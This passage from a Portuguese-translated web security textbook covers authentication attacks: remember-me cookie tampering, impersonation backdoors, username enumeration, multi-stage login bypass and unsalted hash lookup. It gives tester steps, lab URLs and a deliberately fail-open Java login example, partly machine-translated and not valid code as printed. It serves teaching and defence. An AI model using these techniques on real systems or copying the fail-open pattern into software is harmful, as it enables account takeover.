- Algumas funções "remember me" definem um cookie que não contém o nome de usuário, mas um tipo de identificador de sessão persistente, como `RememberUser=1328`. Quando o identificador é enviado para a página de login, o aplicativo procura o usuário associado a ele e cria uma sessão de aplicativo para esse usuário. Assim como acontece com os tokens de sessão comuns, se os identificadores de sessão de outros usuários puderem ser previstos ou extrapolados, um invasor poderá iterar por um grande número de possíveis identificadores para encontrar aqueles associados aos usuários do aplicativo e, assim, obter acesso às suas contas sem autenticação. Consulte o Capítulo 7 para conhecer as técnicas de execução desse ataque.
- Mesmo que as informações armazenadas para reidentificação de usuários estejam adequadamente protegidas (criptografadas) para evitar que outros usuários as determinem ou adivinhem, as informações ainda podem estar vulneráveis à captura por meio de um bug, como cross-site scripting (consulte o Capítulo 12), ou por um invasor que tenha acesso local ao computador do usuário.

ETAPAS DO HACK

1. Ative qualquer funcionalidade "lembre-se de mim" e determine se a funcionalidade de fato "lembra" totalmente o usuário ou se lembra apenas o nome de usuário e ainda exige que ele digite uma senha em visitas subsequentes. Se esse for o caso, é muito menos provável que a funcionalidade exponha alguma falha de segurança.
2. Inspecione atentamente todos os cookies persistentes definidos e também todos os dados que são mantidos em outros mecanismos de armazenamento local, como userData do Internet Explorer, armazenamento isolado do Silverlight ou objetos compartilhados locais do Flash. Procure por dados salvos que identifiquem o usuário explicitamente ou que pareçam conter algum identificador previsível do usuário.
3. Mesmo quando os dados armazenados parecerem estar muito codificados ou ofuscados, analise-os com atenção. Compare os resultados de "lembrar" vários nomes de usuário e/ou senhas muito semelhantes para identificar quaisquer oportunidades de engenharia reversa dos dados originais. Aqui, use as mesmas técnicas descritas no Capítulo 7 para detectar significados e padrões em tokens de sessão.
4. Tentativa de modificar o conteúdo do cookie persistente para tentar convencer o aplicativo de que outro usuário salvou os detalhes dele no seu computador.

EXPERIMENTE!

```
http://mdsec.net/auth/219/
http://mdsec.net/auth/224/
http://mdsec.net/auth/227/
http://mdsec.net/auth/229/
http://mdsec.net/auth/232/
http://mdsec.net/auth/236/
http://mdsec.net/auth/239/
http://mdsec.net/auth/245/
```

Funcionalidade de personificação de usuário

Alguns aplicativos implementam o recurso para que um usuário privilegiado do aplicativo se faça passar por outros usuários a fim de acessar dados e executar ações dentro do contexto do usuário. Por exemplo, alguns aplicativos bancários permitem que os operadores de helpdesk autentiquem verbalmente um usuário de telefone e, em seguida, mudem sua sessão do aplicativo para o contexto desse usuário para ajudá-lo.

É comum haver várias falhas de design na funcionalidade de personificação:

- Ela pode ser implementada como uma função "oculta", que não está sujeita a controles de acesso adequados. Por exemplo, qualquer pessoa que conheça ou adivinhe o URL `/admin/ImpersonateUser.jsp` poderá usar a função e se passar por qualquer outro usuário (consulte o Capítulo 8).
- O aplicativo pode confiar nos dados controláveis pelo usuário ao determinar se o usuário está realizando a representação. Por exemplo, além de um token de sessão válido, um usuário pode enviar um cookie especificando qual conta sua sessão está usando no momento. Um invasor pode modificar esse valor e obter acesso a outras contas de usuário sem autenticação, conforme mostrado na Figura 6-7.
- Se um aplicativo permitir a representação de usuários administrativos, qualquer falha na lógica de representação pode resultar em uma vulnerabilidade de escalonamento vertical de privilégios. Em vez de simplesmente obter acesso aos dados de outros usuários comuns, um invasor pode obter o controle total do aplicativo.
- Algumas funcionalidades de personificação são implementadas como uma simples senha "backdoor" que pode ser enviada à página de login padrão junto com qualquer nome de usuário para autenticação como esse usuário. Esse design é altamente inseguro por vários motivos, mas a maior oportunidade para os invasores é que eles provavelmente descobrirão essa senha ao realizar ataques padrão, como a força bruta do login. Se a senha do backdoor for correspondida antes da senha real do usuário, o invasor provavelmente descobrirá a função de

a senha do backdoor e, portanto, obter acesso à conta de todos os usuários. Da mesma forma, um ataque de força bruta pode resultar em dois "acertos" diferentes, revelando assim a senha do backdoor, conforme mostrado na Figura 6-8.

Figura 6-7: Uma função de representação de usuário vulnerável

ETAPAS DO HACK

1. Identifique qualquer funcionalidade de personificação no aplicativo. Se ela não estiver explicitamente vinculada ao conteúdo publicado, ainda assim poderá ser implementada (consulte o Capítulo 4).
2. Tentativa de usar a funcionalidade de representação diretamente para se passar por outros usuários.
3. Tentar manipular quaisquer dados fornecidos pelo usuário que sejam processados pela função de falsa identidade na tentativa de se passar por outros usuários. Preste atenção especial a todos os casos em que seu nome de usuário estiver sendo enviado, exceto durante o login normal.
4. Se você conseguir usar a funcionalidade, tente se passar por qualquer usuário administrativo conhecido ou imaginado para elevar os privilégios.
5. Ao realizar ataques de adivinhação de senha (consulte a seção "Login de força bruta"), verifique se algum usuário parece ter mais de uma senha válida ou se uma senha específica foi comparada com vários nomes de usuário. Além disso, faça login como vários usuários diferentes com as credenciais capturadas em um ataque de força bruta e verifique se tudo parece normal. Preste muita atenção a qualquer mensagem de status "logado como *X*".

EXPERIMENTE!

```
http://mdsec.net/auth/272/
http://mdsec.net/auth/290/
```

Figura 6-8: Um ataque de adivinhação de senha com dois "acertos", indicando a presença de uma senha de backdoor

Validação incompleta de credenciais

Mecanismos de autenticação bem projetados impõem vários requisitos às senhas, como um comprimento mínimo ou a presença de caracteres maiúsculos e minúsculos. Da mesma forma, alguns mecanismos de autenticação mal projetados não apenas não aplicam essas boas práticas, mas também não levam em conta as tentativas dos próprios usuários de cumpri-las.

Por exemplo, alguns aplicativos truncam as senhas e, portanto, validam apenas os primeiros *n* caracteres. Alguns aplicativos executam uma verificação de senhas sem distinção entre maiúsculas e minúsculas. Alguns aplicativos retiram caracteres incomuns (às vezes sob o pretexto de realizar a validação de entrada) antes de verificar as senhas. Recentemente, esse tipo de comportamento foi identificado em alguns aplicativos da Web surpreendentemente importantes, geralmente como resultado de tentativa e erro de usuários curiosos.

Cada uma dessas limitações na validação de senhas reduz em uma ordem de grandeza o número de variações disponíveis no conjunto de senhas possíveis. Por meio da experimentação, é possível determinar se uma senha está sendo totalmente validada ou se há alguma limitação em vigor. Em seguida, é possível ajustar seus ataques automatizados contra o login para remover casos de teste desnecessários, reduzindo assim enormemente o número de solicitações necessárias para comprometer as contas dos usuários.

ETAPAS DO HACK

1. Usando uma conta que você controla, tente fazer login com variações de sua própria senha: removendo o último caractere, alterando a caixa de um caractere e removendo qualquer caractere tipográfico especial. Se alguma dessas tentativas for bem-sucedida, continue experimentando para tentar entender qual validação está realmente ocorrendo.
2. Alimente os resultados em seus ataques automatizados de adivinhação de senhas para remover casos de teste supérfluos e aumentar as chances de sucesso.

EXPERIMENTE!

`http://mdsec.net/auth/293/`

Nomes de usuário não exclusivos

Alguns aplicativos compatíveis com o autorregistro permitem que os usuários especifiquem seu próprio nome de usuário e não impõem a exigência de que os nomes de usuário sejam exclusivos. Embora isso seja raro, os autores encontraram mais de um aplicativo com esse comportamento.

Isso representa uma falha de projeto por dois motivos:

- Um usuário que compartilha um nome de usuário com outro usuário também pode selecionar a mesma senha que esse usuário, seja durante o registro ou em uma alteração de senha subsequente. Nessa eventualidade, o aplicativo rejeita a senha escolhida pelo segundo usuário ou permite que duas contas tenham credenciais idênticas. No primeiro caso, o comportamento do aplicativo revela efetivamente a um usuário as credenciais do outro usuário. No segundo caso, os logins subsequentes de um dos usuários resultam em acesso à conta do outro usuário.
- Um invasor pode explorar esse comportamento para realizar um ataque de força bruta bem-sucedido, mesmo que isso não seja possível em outro lugar devido a restrições de tentativas de login com falha. Um invasor pode registrar um nome de usuário específico

várias vezes com senhas diferentes enquanto monitora a resposta diferencial que indica que já existe uma conta com aquele nome de usuário e senha. O invasor terá determinado a senha de um usuário-alvo sem fazer uma única tentativa de fazer login como esse usuário.

A funcionalidade de autorregistro mal projetada também pode fornecer um meio de enumeração de nomes de usuário. Se um aplicativo não permitir nomes de usuário duplicados, um invasor poderá tentar registrar um grande número de nomes de usuário comuns para identificar os nomes de usuário existentes que são rejeitados.

ETAPAS DO HACK

1. Se o autorregistro for possível, tente registrar o mesmo nome de usuário duas vezes com senhas diferentes.
2. Se o aplicativo bloquear a segunda tentativa de registro, você poderá explorar esse comportamento para enumerar os nomes de usuário existentes, mesmo que isso não seja possível na página principal de login ou em qualquer outro lugar. Faça várias tentativas de registro com uma lista de nomes de usuário comuns para identificar os nomes já registrados que o aplicativo bloqueia.
3. Se o registro de nomes de usuário duplicados for bem-sucedido, tente registrar o mesmo nome de usuário duas vezes com a mesma senha e determine o comportamento do aplicativo:
   a. Se o resultado for uma mensagem de erro, você poderá explorar esse comportamento para realizar um ataque de força bruta, mesmo que isso não seja possível na página principal de login. Escolha um nome de usuário enumerado ou adivinhado e tente registrar esse nome de usuário várias vezes com uma lista de senhas comuns. Quando o aplicativo rejeitar uma senha específica, é provável que você tenha encontrado a senha existente para a conta visada.
   b. Se não houver mensagem de erro, faça login usando as credenciais especificadas e veja o que acontece. Talvez seja necessário registrar vários usuários e modificar diferentes dados mantidos em cada conta para entender se esse comportamento pode ser usado para obter acesso não autorizado às contas de outros usuários.

Nomes de usuário previsíveis

Alguns aplicativos geram automaticamente nomes de usuário de contas de acordo com uma sequência previsível (cust5331, cust5332 e assim por diante). Quando um aplicativo se comporta dessa forma, um invasor que consegue discernir a sequência pode chegar rapidamente a uma lista potencialmente exaustiva de todos os nomes de usuário válidos, que pode ser usada como base para outros ataques. Ao contrário dos métodos de enumeração que dependem de solicitações repetidas orientadas por listas de palavras, esse meio de determinar nomes de usuário pode ser executado de forma não intrusiva com interação mínima com o aplicativo.

ETAPAS DO HACK

1. Se o aplicativo gerar nomes de usuário, tente obter vários em rápida sucessão e determine se é possível discernir alguma sequência ou padrão.
2. Se for possível, extrapole para trás para obter uma lista de possíveis nomes de usuários válidos. Isso pode ser usado como base para um ataque de força bruta contra o login e outros ataques em que nomes de usuário válidos são necessários, como a exploração de falhas de controle de acesso (consulte o Capítulo 8).

EXPERIMENTE!

`http://mdsec.net/auth/169/`

Senhas iniciais previsíveis

Em alguns aplicativos, os usuários são criados de uma só vez ou em lotes consideráveis e recebem automaticamente senhas iniciais, que são então distribuídas a eles por algum meio. Os meios de geração de senhas podem permitir que um invasor preveja as senhas de outros usuários do aplicativo. Esse tipo de vulnerabilidade é mais comum em aplicativos corporativos baseados na intranet, por exemplo, onde cada funcionário tem uma conta criada em seu nome e recebe uma notificação impressa de sua senha.

Nos casos mais vulneráveis, todos os usuários recebem a mesma senha, ou uma senha derivada de seu nome de usuário ou função. Em outros casos, as senhas geradas podem conter sequências que podem ser identificadas ou adivinhadas com acesso a uma amostra muito pequena de senhas iniciais.

ETAPAS DO HACK

1. Se o aplicativo gerar senhas, tente obter várias em rápida sucessão e determine se é possível discernir alguma sequência ou padrão.
2. Se for possível, extrapole o padrão para obter uma lista de senhas de outros usuários do aplicativo.
3. Se as senhas demonstrarem um padrão que possa ser correlacionado com os nomes de usuário, você poderá tentar fazer login usando nomes de usuário conhecidos ou adivinhados e as senhas inferidas correspondentes.
4. Caso contrário, você pode usar a lista de senhas inferidas como base para um ataque de força bruta com uma lista de nomes de usuário enumerados ou comuns.

EXPERIMENTE!

http://mdsec.net/auth/172/

Distribuição insegura de credenciais

Muitos aplicativos empregam um processo no qual as credenciais para contas recém-criadas são distribuídas aos usuários fora da interação normal com o aplicativo (por exemplo, por correio, e-mail ou mensagem de texto SMS). Às vezes, isso é feito por motivos motivados por questões de segurança, como para garantir que o endereço postal ou de e-mail fornecido pelo usuário realmente pertence a essa pessoa. Em alguns casos, esse processo pode representar um risco à segurança. Por exemplo, suponha que a mensagem distribuída contenha nome de usuário e senha, que não haja limite de tempo para seu uso e que o usuário não precise alterar a senha no primeiro login. É muito provável que um grande número, até mesmo a maioria, de usuários de aplicativos não modifique suas credenciais iniciais e que as mensagens de distribuição permaneçam em vigor por um longo período, durante que podem ser acessados por uma parte não autorizada.

Às vezes, o que é distribuído não são as credenciais em si, mas sim um URL de "ativação de conta", que permite que os usuários definam sua própria senha inicial. Se a série desses URLs enviados a usuários sucessivos manifestar qualquer tipo de sequência, um invasor poderá identificar isso registrando vários usuários em sucessão próxima e, em seguida, inferir os URLs de ativação enviados a usuários recentes e futuros. Um comportamento relacionado de alguns aplicativos da Web é permitir que novos usuários registrem contas de uma maneira aparentemente segura e, em seguida, enviar um e-mail de boas-vindas a cada novo usuário contendo suas credenciais de login completas. Na pior das hipóteses, um usuário consciente da segurança que decide alterar imediatamente sua senha possivelmente comprometida recebe outro e-mail contendo a nova senha "para referência futura". Esse comportamento é tão bizarro e desnecessário que os usuários seriam é aconselhável parar de usar aplicativos da Web que fazem isso.

ETAPAS DO HACK

1. Obter uma nova conta. Se não for necessário definir todas as credenciais durante o registro, determine os meios pelos quais o aplicativo distribui as credenciais aos novos usuários.
2. Se for usado um URL de ativação de conta, tente registrar várias contas novas em sequência e identifique qualquer sequência nos URLs que receber. Se for possível determinar um padrão, tente prever os URLs de ativação enviados a usuários recentes e futuros e tente usar esses URLs para assumir a propriedade de suas contas.
3. Tente reutilizar um único URL de ativação várias vezes e veja se o aplicativo permite isso. Caso contrário, tente bloquear a conta de destino antes de reutilizar o URL e veja se agora funciona.

Falhas de implementação na autenticação

Mesmo um mecanismo de autenticação bem projetado pode ser altamente inseguro devido a erros cometidos em sua implementação. Esses erros podem levar ao vazamento de informações, ao desvio completo do login ou a um enfraquecimento da segurança geral do mecanismo conforme projetado. As falhas de implementação tendem a ser mais sutis e difíceis de detectar do que os defeitos de design, como senhas de baixa qualidade e forçabilidade bruta. Por esse motivo, elas costumam ser um alvo frutífero para ataques contra os aplicativos mais críticos para a segurança, nos quais vários modelos de ameaças e testes de penetração provavelmente já detectaram qualquer fruto mais fácil. Os autores identificaram cada uma das falhas de implementação descritas aqui nos aplicativos da Web implantados por grandes bancos.

Mecanismos de login abertos por falha

A lógica de falha de abertura é uma espécie de falha lógica (descrita em detalhes no Capítulo 11) que tem consequências particularmente graves no contexto dos mecanismos de autenticação. A seguir, um exemplo bastante artificial de um mecanismo de login com falha de abertura. Se a chamada para `db.getUser()` lançar uma exceção por algum motivo (por exemplo, uma exceção de ponteiro nulo que surge porque a solicitação do usuário não contém um parâmetro de nome de usuário ou senha), o login será bem-sucedido. Embora a sessão resultante possa não estar vinculada a uma identidade de usuário específica e, portanto, possa não ser totalmente funcional, isso ainda pode permitir que um invasor acesse alguns dados ou funcionalidades confidenciais.

```
public Response checkLogin(Session session) { try
    {
        String uname = session.getParameter("username");
        String passwd = session.getParameter("password"); User
        user = db.getUser(uname, passwd);
        Se (usuário == nulo) {
            // credenciais inválidas
            session.setMessage("Login failed. ");
            return doLogin(session);
        }
    }
    catch (Exception e) {}

    // usuário válido
    session.setMessage("Login successful. "); return
    doMainMenu(session);
}
```

No campo, você não esperaria que um código como esse fosse aprovado nem mesmo na análise de segurança mais superficial. No entanto, é muito mais provável que a mesma falha conceitual exista em mecanismos mais complexos nos quais várias invocações de métodos em camadas

em que muitos erros em potencial podem surgir e ser tratados em locais diferentes, e onde a lógica de validação mais complicada pode envolver a manutenção de um estado significativo sobre o progresso do login.

ETAPAS DO HACK

1. Faça um login completo e válido usando uma conta que você controla.

EXPERIMENTE!

   http://mdsec.net/auth/300/
2. Repita o processo de login várias vezes, modificando partes dos dados enviados de maneiras inesperadas. Por exemplo, para cada parâmetro de solicitação ou cookie enviado pelo cliente, faça o seguinte:
   a. Envie uma string vazia como valor.
   b. Remover completamente o par nome/valor.
   c. Envie valores muito longos e muito curtos.
   d. Envie cadeias de caracteres em vez de números e vice-versa.
   e. Enviar o mesmo item várias vezes, com valores iguais e diferentes.
3. Para cada solicitação malformada enviada, analise atentamente a resposta do aplicativo para identificar quaisquer divergências em relação ao caso base.
4. Alimente essas observações para estruturar seus casos de teste. Quando uma modificação causar uma alteração no comportamento, tente combiná-la com outras alterações para levar a lógica do aplicativo aos seus limites.

Defeitos em mecanismos de login de vários estágios

Alguns aplicativos usam mecanismos de login elaborados que envolvem vários estágios, como os seguintes:

- Entrada de um nome de usuário e senha
- Um desafio para dígitos específicos de um PIN ou uma palavra memorável
- O envio de um valor exibido em um token físico variável

Os mecanismos de login de vários estágios são projetados para oferecer segurança aprimorada em relação ao modelo simples baseado em nome de usuário e senha. Normalmente, o primeiro estágio exige que os usuários se identifiquem com um nome de usuário ou item semelhante, e os estágios subsequentes executam várias verificações de autenticação. Esses mecanismos

frequentemente contêm vulnerabilidades de segurança, em particular, várias falhas lógicas (consulte o Capítulo 11).

MITO COMUM

Geralmente, supõe-se que os mecanismos de login de vários estágios são menos propensos a desvios de segurança do que a autenticação padrão de nome de usuário/senha. Essa crença é errônea. A execução de várias verificações de autenticação pode aumentar consideravelmente a segurança do mecanismo. Mas, para contrabalançar isso, o processo é mais propenso a falhas na implementação. Em vários casos em que uma combinação de falhas está presente, ela pode até resultar em uma solução *menos* segura do que um login normal baseado em nome de usuário e senha.

Algumas implementações de mecanismos de login de vários estágios fazem suposições potencialmente inseguras em cada estágio sobre a interação do usuário com estágios anteriores:

- Um aplicativo pode presumir que um usuário que acessa o estágio três deve ter liberado os estágios um e dois. Portanto, ele pode autenticar um invasor que passa diretamente do estágio um para o estágio três e o conclui corretamente, permitindo que o invasor faça login com apenas uma parte das várias credenciais normalmente necessárias.
- Um aplicativo pode confiar em alguns dos dados que estão sendo processados no estágio dois porque eles foram validados no estágio um. No entanto, um invasor pode manipular esses dados no estágio dois, dando a eles um valor diferente do que foi validado no estágio um. Por exemplo, no estágio um, o aplicativo pode determinar se a conta do usuário expirou, se está bloqueada ou se pertence ao grupo administrativo, ou se precisa concluir outros estágios do login além do estágio dois. Se um invasor puder interferir nesses sinalizadores à medida que o login transita entre diferentes estágios, ele poderá modificar o comportamento do aplicativo e fazer com que ele o autentique apenas com credenciais parciais ou eleve os privilégios de outra forma.
- Um aplicativo pode presumir que a mesma identidade de usuário é usada para concluir cada estágio; no entanto, ele pode não verificar isso explicitamente. Por exemplo, o primeiro estágio pode envolver o envio de um nome de usuário e uma senha válidos, e o segundo estágio pode envolver o reenvio do nome de usuário (agora em um campo de formulário oculto) e um valor de um token físico alterado. Se um invasor enviar pares de dados válidos em cada estágio, mas para usuários diferentes, o aplicativo poderá autenticar o usuário como uma das identidades usadas nos dois estágios. Isso permitiria que um invasor que possuísse seu próprio token físico e descobrisse a senha de outro usuário fizesse login como esse usuário (ou vice-versa). Embora o mecanismo de login não possa ser completamente comprometido sem nenhuma informação prévia, sua postura geral de segurança é substancialmente enfraquecida, e a despesa e o esforço substanciais da implementação do mecanismo de dois fatores não

proporcionam os benefícios esperados.

ETAPAS DO HACK

1. Realize um login completo e válido usando uma conta que você controla. Registre todos os dados enviados ao aplicativo usando seu proxy de interceptação.
2. Identifique cada estágio distinto do login e os dados que são coletados em cada estágio. Determine se uma única informação é coletada mais de uma vez ou se é transmitida de volta ao cliente e reenviada por meio de um campo de formulário oculto, cookie ou parâmetro de URL predefinido (consulte o Capítulo 5).
3. Repita o processo de login várias vezes com várias solicitações malformadas:
   a. Tente executar as etapas de login em uma sequência diferente.
   b. Tente ir diretamente para um determinado estágio e continuar a partir dele.
   c. Tente pular cada etapa e continuar com a próxima.
   d. Use sua imaginação para pensar em outras maneiras de acessar os diferentes estágios que os desenvolvedores talvez não tenham previsto.
4. Se algum dado for enviado mais de uma vez, tente enviar um valor diferente em diferentes estágios e verifique se o login ainda é bem-sucedido. Pode ser que alguns dos envios sejam supérfluos e não sejam de fato processados pelo aplicativo. Pode ser que os dados sejam validados em um estágio e, posteriormente, confiáveis. Nesse caso, tente fornecer as credenciais de um usuário em um estágio e, em seguida, alterne no estágio seguinte para autenticar de fato como um usuário diferente. Pode ser que a mesma parte dos dados seja validada em mais de um estágio, mas com verificações diferentes. Nesse caso, tente fornecer (por exemplo) o nome de usuário e a senha de um usuário no primeiro estágio e o nome de usuário e o PIN de um usuário diferente no segundo estágio.
5. Preste muita atenção a todos os dados transmitidos pelo cliente que não foram inseridos diretamente pelo usuário. O aplicativo pode usar esses dados para armazenar informações sobre o estado do progresso do login, e o aplicativo pode confiar neles quando forem enviados de volta ao servidor. Por exemplo, se a solicitação para o estágio três incluir o parâmetro **`stage2complete=true`**, ele poderá
   É possível avançar diretamente para o estágio três definindo esse valor. Tente modificar os valores que estão sendo enviados e determine se isso permite que você avance ou pule etapas.

EXPERIMENTE!

```
http://mdsec.net/auth/195/
http://mdsec.net/auth/199/
http://mdsec.net/auth/203/
http://mdsec.net/auth/206/
http://mdsec.net/auth/211/
```

Alguns mecanismos de login empregam uma pergunta que varia aleatoriamente em um dos estágios do processo de login. Por exemplo, depois de enviar um nome de usuário e uma senha, os usuários podem receber uma das várias perguntas "secretas" (sobre o nome de solteira da mãe, local de nascimento, nome da primeira escola) ou enviar duas letras aleatórias de uma frase secreta. A justificativa para esse comportamento é que, mesmo que um invasor capture tudo o que um usuário digita em uma única ocasião, isso não permitirá que ele faça login como esse usuário em outra ocasião, pois serão feitas perguntas diferentes.

Em algumas implementações, essa funcionalidade está quebrada e não atinge seus objetivos:

- O aplicativo pode apresentar uma pergunta escolhida aleatoriamente e armazenar os detalhes em um campo de formulário HTML oculto ou em um cookie, e não no servidor. Posteriormente, o usuário envia tanto a resposta quanto a própria pergunta. Isso permite que o invasor escolha qual pergunta responder, possibilitando que ele repita um login depois de capturar a entrada do usuário em uma única ocasião.
- O aplicativo pode apresentar uma pergunta escolhida aleatoriamente em cada tentativa de login, mas não se lembrar de qual pergunta foi feita a um determinado usuário se ele não enviar uma resposta. Se o mesmo usuário iniciar uma nova tentativa de login um momento depois, uma pergunta aleatória diferente será gerada. Isso efetivamente permite que um invasor percorra as perguntas até receber uma para a qual ele saiba a resposta, permitindo que ele repita um login depois de capturar a entrada de um usuário em uma única ocasião.

OBSERVAÇÃO A segunda dessas condições é realmente muito sutil e, como resultado, muitos aplicativos do mundo real são vulneráveis. Um aplicativo que desafia um usuário a digitar duas letras aleatórias de uma palavra memorável pode parecer, à primeira vista, que está funcionando corretamente e fornecendo segurança aprimorada. No entanto, se as letras forem escolhidas aleatoriamente cada vez que o estágio de autenticação anterior for ultrapassado, um invasor que tenha capturado o login de um usuário em uma única ocasião poderá simplesmente reautenticar até esse ponto até que as duas letras que ele conhece sejam solicitadas, sem o risco de bloqueio da conta.

ETAPAS DO HACK

1. Se um dos estágios de login usar uma pergunta que varia aleatoriamente, verifique se os detalhes da pergunta estão sendo enviados junto com a resposta. Em caso afirmativo, altere a pergunta, envie a resposta correta associada a essa pergunta e verifique se o login continua sendo bem-sucedido.
2. Se o aplicativo não permitir que um invasor envie uma pergunta e uma resposta arbitrárias, faça um login parcial várias vezes com uma única conta, prosseguindo a cada vez até a pergunta variável. Se a pergunta mudar em cada ocasião, o invasor ainda poderá escolher efetivamente qual pergunta responder.

EXPERIMENTE!

http://mdsec.net/auth/178/

http://mdsec.net/auth/182/

OBSERVAÇÃO: em alguns aplicativos em que um componente do login varia de forma ranqueada, o aplicativo coleta todas as credenciais do usuário em um único estágio. Por exemplo, a página principal de login pode apresentar um formulário com campos para nome de usuário, senha e uma das várias perguntas secretas. Cada vez que a página de login é carregada, a pergunta secreta muda. Nessa situação, o ranqueamento da pergunta secreta não impede que um invasor reproduza uma solicitação de login válida depois de capturar a entrada de um usuário em uma ocasião. O processo de login não pode ser modificado para fazer isso em sua forma atual, porque um invasor pode simplesmente recarregar a página até receber a pergunta variável para a qual ele sabe a resposta. Em uma variação desse cenário, o aplicativo pode definir um cookie persistente para "garantir" que a mesma pergunta variável seja apresentada a qualquer usuário até que ele a responda corretamente. Obviamente, essa medida pode ser contornada facilmente modificando ou excluindo o cookie.

Armazenamento inseguro de credenciais

Se um aplicativo armazenar as credenciais de login de forma insegura, a segurança do mecanismo de login será prejudicada, mesmo que não haja nenhuma falha inerente no próprio processo de autenticação.

É comum encontrar aplicativos da Web nos quais as credenciais do usuário são armazenadas de forma insegura no banco de dados. Isso pode envolver o armazenamento de senhas em texto não criptografado. No entanto, se as senhas estiverem sendo transformadas em hash usando um algoritmo padrão, como MD5 ou SHA-1, isso ainda permite que um invasor simplesmente procure os hashes observados em um banco de dados pré-computado de valores de hash. Como a conta do banco de dados usada pelo aplicativo deve ter acesso total de leitura/gravação a essas credenciais, muitos outros tipos de vulnerabilidades dentro do aplicativo podem ser explorados para permitir que você acesse essas credenciais, como falhas de injeção de comando ou SQL (consulte o Capítulo 9) e fraquezas de controle de acesso (consulte o Capítulo 8).

DICA Alguns bancos de dados on-line de funções de hashing comuns estão disponíveis aqui:

http://passcracking.com/index.php

http://authsecu.com/decrypter-dechiffrer-cracker-hash-md5/script-hash-md5.php

ETAPAS DO HACK

1. Analise toda a funcionalidade relacionada à autenticação do aplicativo, bem como todas as funções relacionadas à manutenção do usuário. Se você encontrar alguma instância em que a senha de um usuário seja transmitida de volta ao cliente, isso indica que as senhas estão sendo armazenadas de forma insegura, seja em texto não criptografado ou usando criptografia reversível.
2. Se algum tipo de comando arbitrário ou vulnerabilidade de execução de consulta for identificado no aplicativo, tente encontrar o local no banco de dados ou no sistema de arquivos do aplicativo onde as credenciais do usuário estão armazenadas:
   a. Consulte-os para determinar se as senhas estão sendo armazenadas de forma não criptografada.
   b. Se as senhas forem armazenadas em forma de hash, verifique se há valores não exclusivos, indicando que uma conta tem uma senha comum ou padrão atribuída e que os hashes não estão sendo salgados.
   c. Se a senha tiver sido hash com um algoritmo padrão em formato sem sal, consulte os bancos de dados de hash on-line para determinar o valor correspondente da senha em texto claro.

Protegendo a autenticação

A implementação de uma solução de autenticação segura envolve a tentativa de atender simultaneamente a vários objetivos importantes de segurança e, em muitos casos, a compensação com outros objetivos, como funcionalidade, usabilidade e custo total. Em alguns casos, "mais" segurança pode, na verdade, ser contraproducente. Por exemplo, forçar os usuários a definir senhas muito longas e alterá-las com frequência geralmente faz com que os usuários anotem suas senhas.

Devido à enorme variedade de possíveis vulnerabilidades de autenticação e às defesas potencialmente complexas que um aplicativo pode precisar implantar para atenuar todas elas, muitos projetistas e desenvolvedores de aplicativos optam por aceitar certas ameaças como um dado adquirido e se concentram na prevenção dos ataques mais graves. Veja a seguir alguns fatores a serem considerados para se chegar a um equilíbrio adequado:

- A importância da segurança em função da funcionalidade que o aplicativo oferece
- O grau em que os usuários tolerarão e trabalharão com diferentes tipos de controles de autenticação
- O custo do suporte a um sistema menos fácil de usar
- O custo financeiro das alternativas concorrentes em relação à receita que provavelmente será gerada pelo aplicativo ou ao valor dos ativos que ele protege

Esta seção descreve as maneiras mais eficazes de derrotar os vários ataques contra os mecanismos de autenticação. Deixaremos que você decida quais tipos de defesa são mais apropriados em cada caso.

Use credenciais sólidas

- Devem ser aplicados requisitos mínimos adequados de qualidade de senha. Esses requisitos podem incluir regras relativas ao comprimento mínimo; à aparência de caracteres alfabéticos, numéricos e tipográficos; à aparência de caracteres maiúsculos e minúsculos; a evitar palavras, nomes e outras senhas comuns do dicionário; a impedir que uma senha seja definida com o nome de usuário; e a impedir uma similaridade ou correspondência com senhas definidas anteriormente. Como acontece com a maioria das medidas de segurança, diferentes requisitos de qualidade de senha podem ser apropriados para diferentes categorias de usuários.
- Os nomes de usuário devem ser exclusivos.
- Todos os nomes de usuário e senhas gerados pelo sistema devem ser criados com entropia suficiente para que não possam ser sequenciados ou preditos de forma viável, mesmo por um invasor que tenha acesso a uma grande amostra de instâncias geradas sucessivamente.
- Os usuários devem ter permissão para definir senhas suficientemente fortes. Por exemplo, senhas longas e uma grande variedade de caracteres devem ser permitidas.

Tratar as credenciais de forma sigilosa

- Todas as credenciais devem ser criadas, armazenadas e transmitidas de forma a não permitir a divulgação não autorizada.
- Todas as comunicações cliente-servidor devem ser protegidas usando uma tecnologia criptográfica bem estabelecida, como o SSL. Soluções personalizadas para proteger os dados em trânsito não são necessárias nem desejáveis.
- Se for considerado preferível usar HTTP para as áreas não autenticadas do aplicativo, certifique-se de que o próprio formulário de login seja carregado usando HTTPS, em vez de mudar para HTTPS no momento do envio do login.
- Somente solicitações `POST` devem ser usadas para transmitir credenciais ao servidor. As credenciais nunca devem ser colocadas em parâmetros de URL ou cookies (mesmo os efêmeros). As credenciais nunca devem ser transmitidas de volta ao cliente, mesmo em parâmetros de um redirecionamento.
- Todos os componentes de aplicativos no lado do servidor devem armazenar credenciais em um modo que não permita que seus valores originais sejam facilmente recuperados, mesmo por um invasor que obtenha acesso total a

todos os dados relevantes dentro do aplicativo.

banco de dados do aplicativo. O meio comum de atingir esse objetivo é usar uma função de hash forte (como SHA-256 no momento em que este artigo foi escrito), com sal adequado para reduzir a eficácia de ataques off-line pré-computados. O sal deve ser específico para a conta que possui a senha, de modo que um invasor não possa reproduzir ou substituir os valores de hash.

- A funcionalidade "lembre-se de mim" do lado do cliente deve, em geral, lembrar apenas itens não secretos, como nomes de usuário. Em aplicativos menos críticos para a segurança, pode ser considerado apropriado permitir que os usuários optem por um recurso para lembrar senhas. Nessa situação, nenhuma credencial de texto claro deve ser armazenada no cliente (a senha deve ser armazenada com criptografia reversível usando uma chave conhecida apenas pelo servidor). Além disso, os usuários devem ser avisados sobre os riscos de um invasor que tenha acesso físico ao computador ou que comprometa o computador remotamente. Deve-se dar atenção especial à eliminação de vulnerabilidades de script entre sites no aplicativo que podem ser usadas para roubar credenciais armazenadas (consulte o Capítulo 12).
- Deve ser implementado um recurso de alteração de senha (consulte a seção "Impedir o uso indevido da função de alteração de senha"), e os usuários devem ser solicitados a alterar suas senhas periodicamente.
- Quando as credenciais para novas contas forem distribuídas aos usuários fora da banda, elas devem ser enviadas da forma mais segura possível e devem ser limitadas no tempo. O usuário deve ser solicitado a alterá-las no primeiro login e deve ser instruído a destruir a comunicação após o primeiro uso.
